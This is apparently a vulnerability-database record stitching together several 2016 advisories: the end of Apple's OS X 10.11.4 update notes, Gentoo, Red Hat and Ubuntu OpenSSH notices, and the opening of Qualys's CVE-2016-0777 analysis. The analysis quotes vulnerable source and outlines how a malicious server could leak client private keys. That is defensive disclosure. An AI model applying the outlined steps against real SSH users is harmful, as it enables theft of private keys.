Google\nCVE-2015-7499\nCVE-2015-7500 : Kostya Serebryany of Google\nCVE-2015-7942 : Kostya Serebryany of Google\nCVE-2015-8035 : gustavo.grieco\nCVE-2015-8242 : Hugh Davenport\nCVE-2016-1761 : wol0xff working with Trend Micro\u0027s Zero Day\nInitiative (ZDI)\nCVE-2016-1762\n\nMessages\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: An attacker who is able to bypass Apple\u0027s certificate\npinning, intercept TLS connections, inject messages, and record\nencrypted attachment-type messages may be able to read attachments\nDescription: A cryptographic issue was addressed by rejecting\nduplicate messages on the client. \nCVE-ID\nCVE-2016-1788 : Christina Garman, Matthew Green, Gabriel Kaptchuk,\nIan Miers, and Michael Rushanan of Johns Hopkins University\n\nMessages\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: Clicking a JavaScript link can reveal sensitive user\ninformation\nDescription: An issue existed in the processing of JavaScript links. \nThis issue was addressed through improved content security policy\nchecks. \nCVE-ID\nCVE-2016-1764 : Matthew Bryan of the Uber Security Team (formerly of\nBishop Fox), Joe DeMesy and Shubham Shah of Bishop Fox\n\nNVIDIA Graphics Drivers\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: An application may be able to execute arbitrary code with\nkernel privileges\nDescription: Multiple memory corruption issues were addressed\nthrough improved memory handling. \nCVE-ID\nCVE-2016-1741 : Ian Beer of Google Project Zero\n\nOpenSSH\nAvailable for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5,\nand OS X El Capitan v10.11 to v10.11.3\nImpact: Connecting to a server may leak sensitive user information,\nsuch as a client\u0027s private keys\nDescription: Roaming, which was on by default in the OpenSSH client,\nexposed an information leak and a buffer overflow. These issues were\naddressed by disabling roaming in the client. \nCVE-ID\nCVE-2016-0777 : Qualys\nCVE-2016-0778 : Qualys\n\nOpenSSH\nAvailable for: OS X Mavericks v10.9.5 and OS X Yosemite v10.10.5\nImpact: Multiple vulnerabilities in LibreSSL\nDescription: Multiple vulnerabilities existed in LibreSSL versions\nprior to 2.1.8. These were addressed by updating LibreSSL to version\n2.1.8. \nCVE-ID\nCVE-2015-5333 : Qualys\nCVE-2015-5334 : Qualys\n\nOpenSSL\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: A remote attacker may be able to cause a denial of service\nDescription: A memory leak existed in OpenSSL versions prior to\n0.9.8zh. This issue was addressed by updating OpenSSL to version\n0.9.8zh. \nCVE-ID\nCVE-2015-3195\n\nPython\nAvailable for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5,\nand OS X El Capitan v10.11 to v10.11.3\nImpact: Processing a maliciously crafted .png file may lead to\narbitrary code execution\nDescription: Multiple vulnerabilities existed in libpng versions\nprior to 1.6.20. These were addressed by updating libpng to version\n1.6.20. \nCVE-ID\nCVE-2014-9495\nCVE-2015-0973\nCVE-2015-8126 : Adam Mari\u0161\nCVE-2015-8472 : Adam Mari\u0161\n\nQuickTime\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: Processing a maliciously crafted FlashPix Bitmap Image may\nlead to unexpected application termination or arbitrary code\nexecution\nDescription: Multiple memory corruption issues were addressed\nthrough improved memory handling. \nCVE-ID\nCVE-2016-1767 : Francis Provencher from COSIG\nCVE-2016-1768 : Francis Provencher from COSIG\n\nQuickTime\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: Processing a maliciously crafted Photoshop document may lead\nto unexpected application termination or arbitrary code execution\nDescription: Multiple memory corruption issues were addressed\nthrough improved memory handling. \nCVE-ID\nCVE-2016-1769 : Francis Provencher from COSIG\n\nReminders\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: Clicking a tel link can make a call without prompting the\nuser\nDescription: A user was not prompted before invoking a call. This\nwas addressed through improved entitlement checks. \nCVE-ID\nCVE-2016-1770 : Guillaume Ross of Rapid7 and Laurent Chouinard of\nLaurent.ca\n\nRuby\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: A local attacker may be able to cause unexpected application\ntermination or arbitrary code execution\nDescription: An unsafe tainted string usage vulnerability existed in\nversions prior to 2.0.0-p648. \nCVE-ID\nCVE-2015-7551\n\nSecurity\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: A local user may be able to check for the existence of\narbitrary files\nDescription: A permissions issue existed in code signing tools. This\nwas addressed though additional ownership checks. \nCVE-ID\nCVE-2016-1773 : Mark Mentovai of Google Inc. \n\nSecurity\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: Processing a maliciously crafted certificate may lead to\narbitrary code execution\nDescription: A memory corruption issue existed in the ASN.1 decoder. \nThis issue was addressed through improved input validation. \nCVE-ID\nCVE-2016-1950 : Francis Gabriel of Quarkslab\n\nTcl\nAvailable for: \nOS X Yosemite v10.10.5 and OS X El Capitan v10.11 to v10.11.3\nImpact: Processing a maliciously crafted .png file may lead to\narbitrary code execution\nDescription: Multiple vulnerabilities existed in libpng versions\nprior to 1.6.20. These were addressed by removing libpng. \nCVE-ID\nCVE-2015-8126 : Adam Mari\u0161\n\nTrueTypeScaler\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: Processing a maliciously crafted font file may lead to\narbitrary code execution\nDescription: A memory corruption issue existed in the processing of\nfont files. This issue was addressed through improved input\nvalidation. \nCVE-ID\nCVE-2016-1775 : 0x1byte working with Trend Micro\u0027s Zero Day\nInitiative (ZDI)\n\nWi-Fi\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: An attacker with a privileged network position may be able\nto execute arbitrary code\nDescription: A frame validation and memory corruption issue existed\nfor a given ethertype. This issue was addressed through additional\nethertype validation and improved memory handling. \nCVE-ID\nCVE-2016-0801 : an anonymous researcher\nCVE-2016-0802 : an anonymous researcher\n\nOS X El Capitan 10.11.4 includes the security content of Safari 9.1. \nhttps://support.apple.com/kb/HT206171\n\nOS X El Capitan v10.11.4 and Security Update 2016-002 may be obtained\nfrom the Mac App Store or Apple\u0027s Software Downloads web site:\nhttp://www.apple.com/support/downloads/\n\nInformation will also be posted to the Apple Security Updates\nweb site: https://support.apple.com/kb/HT201222\n\nThis message is signed with Apple\u0027s Product Security PGP key,\nand details are available at:\nhttps://www.apple.com/support/security/pgp/\n-----BEGIN PGP SIGNATURE-----\nComment: GPGTools - https://gpgtools.org\n\niQIcBAEBCgAGBQJW8JQFAAoJEBcWfLTuOo7tZSYP/1bHFA1qemkD37uu7nYpk/q6\nARVsPgME1I1+5tOxX0TQJgzMBmdQsKYdsTiLpDk5HTuv+dAMsFfasaUItGk8Sz1w\nHiYjSfVsxL+Pjz3vK8/4/fsi2lX6472MElRw8gudITOhXtniGcKo/vuA5dB+vM3l\nJy1NLHHhZ6BD2t0bBmlz41mZMG3AMxal2wfqE+5LkjUwASzcvC/3B1sh7Fntwyau\n/71vIgMQ5AaETdgQJAuQivxPyTlFduBRgLjqvPiB9eSK4Ctu5t/hErFIrP2NiDCi\nUhfZC48XbiRjJfkUsUD/5TIKnI+jkZxOnch9ny32dw2kUIkbIAbqufTkzsMXOpng\nO+rI93Ni7nfzgI3EkI2bq+C+arOoRiveWuJvc3SMPD5RQHo4NCQVs0ekQJKNHF78\njuPnY29n8WMjwLS6Zfm+bH+n8ELIXrmmEscRztK2efa9S7vJe+AgIxx7JE/f8OHF\ni9K7UQBXFXcpMjXi1aTby/IUnpL5Ny4NVwYwIhctj0Mf6wTH7uf/FMWYIQOXcIfP\nIzo+GXxNeLd4H2ypZ+UpkZg/Sn2mtCd88wLc96+owlZPBlSqWl3X1wTlp8i5FP2X\nqlQ7RcTHJDv8jPT/MOfzxEK1n/azp45ahHA0o6nohUdxlA7PLci9vPiJxqKPo/0q\nVZmOKa8qMxB1L/JmdCqy\n=mZR+\n-----END PGP SIGNATURE-----\n. \n\nAffected packages\n=================\n\n -------------------------------------------------------------------\n Package / Vulnerable / Unaffected\n -------------------------------------------------------------------\n 1 net-misc/openssh \u003c 7.1_p2 \u003e= 7.1_p2\n\nDescription\n===========\n\nQualys have reported two issues in the \"roaming\" code included in the\nOpenSSH client, which provides undocumented, experimental support for\nresuming SSH connections. To do\nso, add \"UseRoaming no\" to the SSH client configuration, or specify \"-o\n\u0027UseRoaming no\u0027\" on the command line. \n\nResolution\n==========\n\nAll OpenSSH users should upgrade to the latest version:\n\n # emerge --sync\n # emerge --ask --oneshot --verbose \"\u003e=net-misc/openssh-7.1_p2\"\n\nReferences\n==========\n\n[ 1 ] CVE-2016-0777\n http://nvd.nist.gov/nvd.cfm?cvename=CVE-2016-0777\n[ 2 ] CVE-2016-0778\n http://nvd.nist.gov/nvd.cfm?cvename=CVE-2016-0778\n\nAvailability\n============\n\nThis GLSA and any updates to it are available for viewing at\nthe Gentoo Security Website:\n\n https://security.gentoo.org/glsa/201601-01\n\nConcerns?\n=========\n\nSecurity is a primary focus of Gentoo Linux and ensuring the\nconfidentiality and security of our users\u0027 machines is of utmost\nimportance to us. \n\nLicense\n=======\n\nCopyright 2016 Gentoo Foundation, Inc; referenced text\nbelongs to its owner(s). \n\nThe contents of this document are licensed under the\nCreative Commons - Attribution / Share Alike license. \n\nhttp://creativecommons.org/licenses/by-sa/2.5\n. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n\n=====================================================================\n Red Hat Security Advisory\n\nSynopsis: Moderate: openssh security update\nAdvisory ID: RHSA-2016:0043-01\nProduct: Red Hat Enterprise Linux\nAdvisory URL: https://rhn.redhat.com/errata/RHSA-2016-0043.html\nIssue date: 2016-01-14\nCVE Names: CVE-2016-0777 CVE-2016-0778 \n=====================================================================\n\n1. Summary:\n\nUpdated openssh packages that fix two security issues are now available for\nRed Hat Enterprise Linux 7. \n\nRed Hat Product Security has rated this update as having Moderate security\nimpact. Common Vulnerability Scoring System (CVSS) base scores, which give\ndetailed severity ratings, are available for each vulnerability from the\nCVE links in the References section. Relevant releases/architectures:\n\nRed Hat Enterprise Linux Client (v. 7) - x86_64\nRed Hat Enterprise Linux Client Optional (v. 7) - x86_64\nRed Hat Enterprise Linux ComputeNode (v. 7) - x86_64\nRed Hat Enterprise Linux ComputeNode Optional (v. 7) - x86_64\nRed Hat Enterprise Linux Server (v. 7) - ppc64, ppc64le, s390x, x86_64\nRed Hat Enterprise Linux Server Optional (v. 7) - ppc64, ppc64le, s390x, x86_64\nRed Hat Enterprise Linux Workstation (v. 7) - x86_64\nRed Hat Enterprise Linux Workstation Optional (v. 7) - x86_64\n\n3. Description:\n\nOpenSSH is OpenBSD\u0027s SSH (Secure Shell) protocol implementation. \nThese packages include the core files necessary for both the OpenSSH client\nand server. (CVE-2016-0778)\n\nRed Hat would like to thank Qualys for reporting these issues. \n\nAll openssh users are advised to upgrade to these updated packages, which\ncontain backported patches to correct these issues. After installing this\nupdate, the OpenSSH server daemon (sshd) will be restarted automatically. Solution:\n\nBefore applying this update, make sure all previously released errata\nrelevant to your system have been applied. \n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258\n\n5. Package List:\n\nRed Hat Enterprise Linux Client (v. 7):\n\nSource:\nopenssh-6.6.1p1-23.el7_2.src.rpm\n\nx86_64:\nopenssh-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-clients-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-server-6.6.1p1-23.el7_2.x86_64.rpm\n\nRed Hat Enterprise Linux Client Optional (v. 7):\n\nx86_64:\nopenssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm\n\nRed Hat Enterprise Linux ComputeNode (v. 7):\n\nSource:\nopenssh-6.6.1p1-23.el7_2.src.rpm\n\nx86_64:\nopenssh-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-clients-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-server-6.6.1p1-23.el7_2.x86_64.rpm\n\nRed Hat Enterprise Linux ComputeNode Optional (v. 7):\n\nx86_64:\nopenssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm\n\nRed Hat Enterprise Linux Server (v. 7):\n\nSource:\nopenssh-6.6.1p1-23.el7_2.src.rpm\n\nppc64:\nopenssh-6.6.1p1-23.el7_2.ppc64.rpm\nopenssh-askpass-6.6.1p1-23.el7_2.ppc64.rpm\nopenssh-clients-6.6.1p1-23.el7_2.ppc64.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.ppc64.rpm\nopenssh-keycat-6.6.1p1-23.el7_2.ppc64.rpm\nopenssh-server-6.6.1p1-23.el7_2.ppc64.rpm\n\nppc64le:\nopenssh-6.6.1p1-23.el7_2.ppc64le.rpm\nopenssh-askpass-6.6.1p1-23.el7_2.ppc64le.rpm\nopenssh-clients-6.6.1p1-23.el7_2.ppc64le.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.ppc64le.rpm\nopenssh-keycat-6.6.1p1-23.el7_2.ppc64le.rpm\nopenssh-server-6.6.1p1-23.el7_2.ppc64le.rpm\n\ns390x:\nopenssh-6.6.1p1-23.el7_2.s390x.rpm\nopenssh-askpass-6.6.1p1-23.el7_2.s390x.rpm\nopenssh-clients-6.6.1p1-23.el7_2.s390x.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.s390x.rpm\nopenssh-keycat-6.6.1p1-23.el7_2.s390x.rpm\nopenssh-server-6.6.1p1-23.el7_2.s390x.rpm\n\nx86_64:\nopenssh-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-clients-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-server-6.6.1p1-23.el7_2.x86_64.rpm\n\nRed Hat Enterprise Linux Server Optional (v. 7):\n\nppc64:\nopenssh-debuginfo-6.6.1p1-23.el7_2.ppc.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.ppc64.rpm\nopenssh-ldap-6.6.1p1-23.el7_2.ppc64.rpm\nopenssh-server-sysvinit-6.6.1p1-23.el7_2.ppc64.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.ppc.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.ppc64.rpm\n\nppc64le:\nopenssh-debuginfo-6.6.1p1-23.el7_2.ppc64le.rpm\nopenssh-ldap-6.6.1p1-23.el7_2.ppc64le.rpm\nopenssh-server-sysvinit-6.6.1p1-23.el7_2.ppc64le.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.ppc64le.rpm\n\ns390x:\nopenssh-debuginfo-6.6.1p1-23.el7_2.s390.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.s390x.rpm\nopenssh-ldap-6.6.1p1-23.el7_2.s390x.rpm\nopenssh-server-sysvinit-6.6.1p1-23.el7_2.s390x.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.s390.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.s390x.rpm\n\nx86_64:\nopenssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm\n\nRed Hat Enterprise Linux Workstation (v. 7):\n\nSource:\nopenssh-6.6.1p1-23.el7_2.src.rpm\n\nx86_64:\nopenssh-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-clients-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-server-6.6.1p1-23.el7_2.x86_64.rpm\n\nRed Hat Enterprise Linux Workstation Optional (v. 7):\n\nx86_64:\nopenssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm\n\nThese packages are GPG signed by Red Hat for security. Our key and\ndetails on how to verify the signature are available from\nhttps://access.redhat.com/security/team/key/\n\n7. References:\n\nhttps://access.redhat.com/security/cve/CVE-2016-0777\nhttps://access.redhat.com/security/cve/CVE-2016-0778\nhttps://access.redhat.com/security/updates/classification/#moderate\nhttps://access.redhat.com/articles/2123781\n\n8. Contact:\n\nThe Red Hat security contact is \u003csecalert@redhat.com\u003e. More contact\ndetails at https://access.redhat.com/security/team/contact/\n\nCopyright 2016 Red Hat, Inc. \n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niD8DBQFWmAWQXlSAg2UNWIIRAh17AJ9SiT1MA1YtOA6ctMp9jIo4e9XrFwCgkbmo\nnXgYWs8cZcyoTRVoriTGHQo=\n=1sk9\n-----END PGP SIGNATURE-----\n\n\n--\nRHSA-announce mailing list\nRHSA-announce@redhat.com\nhttps://www.redhat.com/mailman/listinfo/rhsa-announce\n",
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VAR-201601-0029
Vulnerability from variot - Updated: 2026-03-09 20:26The resend_bytes function in roaming_common.c in the client in OpenSSH 5.x, 6.x, and 7.x before 7.1p2 allows remote servers to obtain sensitive information from process memory by requesting transmission of an entire buffer, as demonstrated by reading a private key. OpenSSH client code versions 5.4 through 7.1p1 contains a client information leak vulnerability that could allow an OpenSSH client to leak information not limited to but including private keys, as well as a buffer overflow in certain non-default configurations. OpenSSH is prone to an information-disclosure vulnerability. Successfully exploiting this issue allows attackers to obtain sensitive information that may aid in further attacks. This tool is an open source implementation of the SSH protocol, supports encryption of all transmissions, and can effectively prevent eavesdropping, connection hijacking, and other network-level attacks. The following versions are affected: OpenSSH 5.x, 6.x, 7.x prior to 7.1p2. ============================================================================ Ubuntu Security Notice USN-2869-1 January 14, 2016
openssh vulnerabilities
A security issue affects these releases of Ubuntu and its derivatives:
- Ubuntu 15.10
- Ubuntu 15.04
- Ubuntu 14.04 LTS
- Ubuntu 12.04 LTS
Summary:
OpenSSH could be made to expose sensitive information over the network.
Update instructions:
The problem can be corrected by updating your system to the following package versions:
Ubuntu 15.10: openssh-client 1:6.9p1-2ubuntu0.1
Ubuntu 15.04: openssh-client 1:6.7p1-5ubuntu1.4
Ubuntu 14.04 LTS: openssh-client 1:6.6p1-2ubuntu2.4
Ubuntu 12.04 LTS: openssh-client 1:5.9p1-5ubuntu1.8
In general, a standard system update will make all the necessary changes. Qualys Security Advisory
Roaming through the OpenSSH client: CVE-2016-0777 and CVE-2016-0778
======================================================================== Contents ========================================================================
Summary Information Leak (CVE-2016-0777) - Analysis - Private Key Disclosure - Mitigating Factors - Examples Buffer Overflow (CVE-2016-0778) - Analysis - Mitigating Factors - File Descriptor Leak Acknowledgments Proof Of Concept
======================================================================== Summary ========================================================================
Since version 5.4 (released on March 8, 2010), the OpenSSH client supports an undocumented feature called roaming: if the connection to an SSH server breaks unexpectedly, and if the server supports roaming as well, the client is able to reconnect to the server and resume the suspended SSH session. This information leak may have already been exploited in the wild by sophisticated attackers, and high-profile sites or users may need to regenerate their SSH keys accordingly.
The buffer overflow, on the other hand, is present in the default configuration of the OpenSSH client but its exploitation requires two non-default options: a ProxyCommand, and either ForwardAgent (-A) or ForwardX11 (-X). This buffer overflow is therefore unlikely to have any real-world impact, but provides a particularly interesting case study.
All OpenSSH versions between 5.4 and 7.1 are vulnerable, but can be easily hot-fixed by setting the undocumented option "UseRoaming" to "no", as detailed in the Mitigating Factors section. OpenSSH version 7.1p2 (released on January 14, 2016) disables roaming by default.
======================================================================== Information Leak (CVE-2016-0777) ========================================================================
Analysis
If the OpenSSH client connects to an SSH server that offers the key exchange algorithm "resume@appgate.com", it sends the global request "roaming@appgate.com" to the server, after successful authentication. If this request is accepted, the client allocates a roaming buffer out_buf, by calling malloc() (and not calloc()) with an out_buf_size that is arbitrarily chosen by the server:
63 void 64 roaming_reply(int type, u_int32_t seq, void *ctxt) 65 { 66 if (type == SSH2_MSG_REQUEST_FAILURE) { 67 logit("Server denied roaming"); 68 return; 69 } 70 verbose("Roaming enabled"); .. 75 set_out_buffer_size(packet_get_int() + get_snd_buf_size()); .. 77 }
40 static size_t out_buf_size = 0; 41 static char out_buf = NULL; 42 static size_t out_start; 43 static size_t out_last; .. 75 void 76 set_out_buffer_size(size_t size) 77 { 78 if (size == 0 || size > MAX_ROAMBUF) 79 fatal("%s: bad buffer size %lu", func, (u_long)size); 80 / 81 * The buffer size can only be set once and the buffer will live 82 * as long as the session lives. 83 */ 84 if (out_buf == NULL) { 85 out_buf_size = size; 86 out_buf = xmalloc(size); 87 out_start = 0; 88 out_last = 0; 89 } 90 }
The OpenSSH client's roaming_write() function, a simple wrapper around write(), calls wait_for_roaming_reconnect() to transparently reconnect to the SSH server after a disconnection. It also calls buf_append() to copy the data sent to the server into the roaming buffer out_buf. During a reconnection, the client is therefore able to resend the data that was not received by the server because of the disconnection:
198 void 199 resend_bytes(int fd, u_int64_t offset) 200 { 201 size_t available, needed; 202 203 if (out_start < out_last) 204 available = out_last - out_start; 205 else 206 available = out_buf_size; 207 needed = write_bytes - offset; 208 debug3("resend_bytes: resend %lu bytes from %llu", 209 (unsigned long)needed, (unsigned long long)*offset); 210 if (needed > available) 211 fatal("Needed to resend more data than in the cache"); 212 if (out_last < needed) { 213 int chunkend = needed - out_last; 214 atomicio(vwrite, fd, out_buf + out_buf_size - chunkend, 215 chunkend); 216 atomicio(vwrite, fd, out_buf, out_last); 217 } else { 218 atomicio(vwrite, fd, out_buf + (out_last - needed), needed); 219 } 220 }
In the OpenSSH client's roaming buffer out_buf, the most recent data sent to the server begins at index out_start and ends at index out_last. As soon as this circular buffer is full, buf_append() maintains the invariant "out_start = out_last + 1", and consequently three different cases have to be considered:
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"out_start < out_last" (lines 203-204): out_buf is not full yet (and out_start is still equal to 0), and the amount of data available in out_buf is indeed "out_last - out_start";
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"out_start > out_last" (lines 205-206): out_buf is full (and out_start is exactly equal to "out_last + 1"), and the amount of data available in out_buf is indeed the entire out_buf_size;
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"out_start == out_last" (lines 205-206): no data was ever written to out_buf (and both out_start and out_last are still equal to 0) because no data was ever sent to the server after roaming_reply() was called, but the client sends (leaks) the entire uninitialized out_buf to the server (line 214), as if out_buf_size bytes of data were available.
In order to successfully exploit this information leak and retrieve sensitive information from the OpenSSH client's memory (for example, private SSH keys, or memory addresses useful for further exploitation), a malicious server needs to:
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Massage the client's heap before roaming_reply() malloc()ates out_buf, and force malloc() to return a previously free()d but uncleansed chunk of sensitive information. The simple proof-of-concept in this advisory does not implement heap massaging.
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Guess the client's get_snd_buf_size() in order to precisely control out_buf_size. OpenSSH < 6.0 accepts out_buf sizes in the range (0,4G), and OpenSSH >= 6.0 accepts sizes in the range (0,2M]. Sizes smaller than get_snd_buf_size() are attainable because roaming_reply() does not protect "packet_get_int() + get_snd_buf_size()" against integer wraparound. The proof-of-concept in this advisory attempts to derive the client's get_snd_buf_size() from the get_recv_buf_size() sent by the client to the server, and simply chooses a random out_buf_size.
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Advise the client's resend_bytes() that all "available" bytes (the entire out_buf_size) are "needed" by the server, even if fewer bytes were actually written by the client to the server (because the server controls the "offset" argument, and resend_bytes() does not protect "needed = write_bytes - offset" against integer wraparound).
Finally, a brief digression on a minor bug in resend_bytes(): on 64-bit systems, where "chunkend" is a 32-bit signed integer, but "out_buf" and "out_buf_size" are 64-bit variables, "out_buf + out_buf_size - chunkend" may point out-of-bounds, if chunkend is negative (if out_buf_size is in the [2G,4G) range). This negative chunkend is then converted to a 64-bit size_t greater than SSIZE_MAX when passed to atomicio(), and eventually returns EFAULT when passed to write() (at least on Linux and OpenBSD), thus avoiding an out-of-bounds read from the OpenSSH client's memory.
Private Key Disclosure
We initially believed that this information leak in the OpenSSH client's roaming code would not allow a malicious SSH server to steal the client's private keys, because:
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the information leaked is not read from out-of-bounds memory, but from a previously free()d chunk of memory that is recycled to malloc()ate the client's roaming buffer out_buf;
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private keys are loaded from disk into memory and freed by key_free() (old API, OpenSSH < 6.7) or sshkey_free() (new API, OpenSSH >= 6.7), and both functions properly cleanse the private keys' memory with OPENSSL_cleanse() or explicit_bzero();
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temporary copies of in-memory private keys are freed by buffer_free() (old API) or sshbuf_free() (new API), and both functions attempt to cleanse these copies with memset() or bzero().
However, we eventually identified three reasons why, in our experiments, we were able to partially or completely retrieve the OpenSSH client's private keys through this information leak (depending on the client's version, compiler, operating system, heap layout, and private keys):
(besides these three reasons, other reasons may exist, as suggested by the CentOS and Fedora examples at the end of this section)
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If a private SSH key is loaded from disk into memory by fopen() (or fdopen()), fgets(), and fclose(), a partial or complete copy of this private key may remain uncleansed in memory. Indeed, these functions manage their own internal buffers, and whether these buffers are cleansed or not depends on the OpenSSH client's libc (stdio) implementation, but not on OpenSSH itself.
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In all vulnerable OpenSSH versions, SSH's main() function calls load_public_identity_files(), which loads the client's public keys with fopen(), fgets(), and fclose(). Unfortunately, the private keys (without the ".pub" suffix) are loaded first and then discarded, but nonetheless buffered in memory by the stdio functions.
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In OpenSSH versions <= 5.6, the load_identity_file() function (called by the client's public-key authentication method) loads a private key with fdopen() and PEM_read_PrivateKey(), an OpenSSL function that uses fgets() and hence internal stdio buffering.
Internal stdio buffering is the most severe of the three problems discussed in this section, although GNU/Linux is not affected because the glibc mmap()s and munmap()s (and therefore cleanses) stdio buffers. BSD-based systems, on the other hand, are severely affected because they simply malloc()ate and free() stdio buffers. For interesting comments on this issue:
https://www.securecoding.cert.org/confluence/display/c/MEM06-C.+Ensure+that+sensitive+data+is+not+written+out+to+disk
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In OpenSSH versions >= 5.9, the client's load_identity_file() function (called by the public-key authentication method) read()s a private key in 1024-byte chunks that are appended to a growing buffer (a realloc()ating buffer) with buffer_append() (old API) or sshbuf_put() (new API). Unfortunately, the repeated calls to realloc() may leave partial copies of the private key uncleansed in memory.
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In OpenSSH < 6.7 (old API), the initial size of such a growing buffer is 4096 bytes: if a private-key file is larger than 4K, a partial copy of this private key may remain uncleansed in memory (a 3K copy in a 4K buffer). Fortunately, only the file of a very large RSA key (for example, an 8192-bit RSA key) can exceed 4K.
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In OpenSSH >= 6.7 (new API), the initial size of a growing buffer is 256 bytes: if a private-key file is larger than 1K (the size passed to read()), a partial copy of this private key may remain uncleansed in memory (a 1K copy in a 1K buffer). For example, the file of a default-sized 2048-bit RSA key exceeds 1K.
For more information on this issue:
https://www.securecoding.cert.org/confluence/display/c/MEM03-C.+Clear+sensitive+information+stored+in+reusable+resources
https://cwe.mitre.org/data/definitions/244.html
- An OpenSSH growing-buffer that holds a private key is eventually freed by buffer_free() (old API) or sshbuf_free() (new API), and both functions attempt to cleanse the buffer with memset() or bzero() before they call free(). Unfortunately, an optimizing compiler may remove this memset() or bzero() call, because the buffer is written to, but never again read from (an optimization known as Dead Store Elimination).
OpenSSH 6.6 is the only version that is not affected, because it calls explicit_bzero() instead of memset() or bzero().
Dead Store Elimination is the least severe of the three problems explored in this section, because older GCC versions do not remove the memset() or bzero() call made by buffer_free() or sshbuf_free(). GCC 5 and Clang/LLVM do, however, remove it. For detailed discussions of this issue:
https://www.securecoding.cert.org/confluence/display/c/MSC06-C.+Beware+of+compiler+optimizations
https://cwe.mitre.org/data/definitions/14.html
https://sourceware.org/ml/libc-alpha/2014-12/threads.html#00506
Finally, for these three reasons, passphrase-encrypted SSH keys are leaked in their encrypted form, but an attacker may attempt to crack the passphrase offline. On the other hand, SSH keys that are available only through an authentication agent are never leaked, in any form. The vulnerable roaming code can be permanently disabled by adding the undocumented option "UseRoaming no" to the system-wide configuration file (usually /etc/ssh/ssh_config), or per-user configuration file (~/.ssh/config), or command-line (-o "UseRoaming no").
- If an OpenSSH client is disconnected from an SSH server that offers roaming, it prints "[connection suspended, press return to resume]" on stderr, and waits for '\n' or '\r' on stdin (and not on the controlling terminal) before it reconnects to the server; advanced users may become suspicious and press Control-C or Control-Z instead, thus avoiding the information leak:
"pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -p 222 127.0.0.1 [connection suspended, press return to resume]^Z [1]+ Stopped /usr/bin/ssh -p 222 127.0.0.1
